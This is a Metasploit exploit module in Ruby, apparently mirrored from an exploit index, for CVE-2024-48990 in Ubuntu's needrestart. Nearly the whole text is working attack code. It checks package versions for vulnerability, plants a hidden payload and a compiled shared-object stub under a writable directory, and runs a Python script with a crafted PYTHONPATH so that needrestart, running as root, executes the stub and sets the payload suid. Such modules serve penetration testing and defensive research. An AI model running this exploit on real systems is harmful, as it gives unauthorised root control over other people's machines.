Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-LOCAL-UBUNTU_NEEDRESTART_LPE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::FileDropper
  include Msf::Post::Linux::Compile
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ubuntu needrestart Privilege Escalation',
        'Description' => %q{
          Local attackers can execute arbitrary code as root by
          tricking needrestart into running the Python interpreter with an
          attacker-controlled PYTHONPATH environment variable.

          Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
          Attempted exploitation against Debian 12, expliotation failed
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'makuga01', # PoC
          'qualys' # original advisory
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Stance' => Msf::Exploit::Stance::Passive,
        'Passive' => true,
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'],
          [ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'],
          [ 'CVE', '2024-48990']
        ],
        'DisclosureDate' => '2024-11-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
      OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for session', 90_000 ]) # 25hrs
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    # fedora https://bodhi.fedoraproject.org/updates/FEDORA-2024-a9cf3dad4f
    # debian https://security-tracker.debian.org/tracker/CVE-2024-48990
    fixed_versions = {
      '24.10' => Rex::Version.new('3.6-8ubuntu4.2'),
      '24.04' => Rex::Version.new('3.6-7ubuntu4.3'),
      '22.04' => Rex::Version.new('3.5-5ubuntu2.2'),
      '20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'),
      '18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'),
      '16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'),
      '12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm
      '11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye
      # may be more versions, but this felt good enough
      '38' => Rex::Version.new('3.8-1'),
      '39' => Rex::Version.new('3.8-1'),
      '40' => Rex::Version.new('3.8-1'),
      '41' => Rex::Version.new('3.8-1')
    }
    info = get_sysinfo
    return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro]

    if info[:distro] == 'ubuntu'
      version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info
      return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version
    elsif info[:distro] == 'debian'
      return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it')
    elsif info[:distro] == 'fedora'
      return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it')
    end

    return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart')

    package = cmd_exec('dpkg -l needrestart | grep \'^ii\'')
    package = package.split(' ')[2]
    package = package.gsub('+', '.')
    # next line will need to be included if we want to support fedora
    # package = package.gsub('needrestart-', '') # fedora specific
    package = Rex::Version.new(package)
    return CheckCode::Safe('needrestart not install, or not detected.') if package == Rex::Version.new('0') # aka empty/nil

    return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version]

    CheckCode::Safe("needrestart version #{package} is not vulnerable on Ubuntu #{version}")
  end

  def exploit
    # Check if we're already root
    if !datastore['ForceExploit'] && is_root?
      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
    end

    # Make sure we can write our exploit and payload to the local system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # upload payload
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe
    vprint_status("Uploading payload: #{payload_path}")
    register_files_for_cleanup(payload_path)

    # our c stub file does our chmod/chown/suid for the payload
    c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.metasm'))
    c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path)

    case kernel_arch
    when ARCH_X86
      cpu = Metasm::Ia32.new
    when ARCH_X64
      cpu = Metasm::X86_64.new
    else
      fail_with Failure::NoTarget, 'Target is not compatible'
    end

    begin
      c_stub = Metasm::ELF.compile_c(cpu, c_stub).encode_string(:lib)
      c_stub_path = "#{base_dir}/importlib/__init__.so"
    rescue StandardError
      print_error "Metasm encoding failed: #{$ERROR_INFO}"
      elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
      elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
      fail_with Failure::Unknown, 'Metasm encoding failed'
    end

    mkdir "#{base_dir}/importlib"
    write_file(c_stub_path, c_stub)
    vprint_status("Uploading c_stub: #{c_stub_path}")
    register_files_for_cleanup(c_stub_path)
    register_dir_for_cleanup("#{base_dir}/importlib")

    # the python script is needed for having the PYTHONPATH set and watches
    # for our payload to be modified, then run it
    py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py'))
    py_script = py_script.gsub('PAYLOAD_PATH', payload_path)

    py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    write_file py_stub_path, py_script
    vprint_status("Uploading py_script: #{py_stub_path}")
    register_files_for_cleanup(py_stub_path)

    # Launch exploit with a timeout.  We also have a vprint_status so if the user wants all the
    # output from the exploit being run, they can optionally see it
    print_status 'Launching exploit, and waiting for needrestart to run...'
    output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, datastore['ListenerTimeout']
    output.each_line { |line| vprint_status line.chomp }
  end
end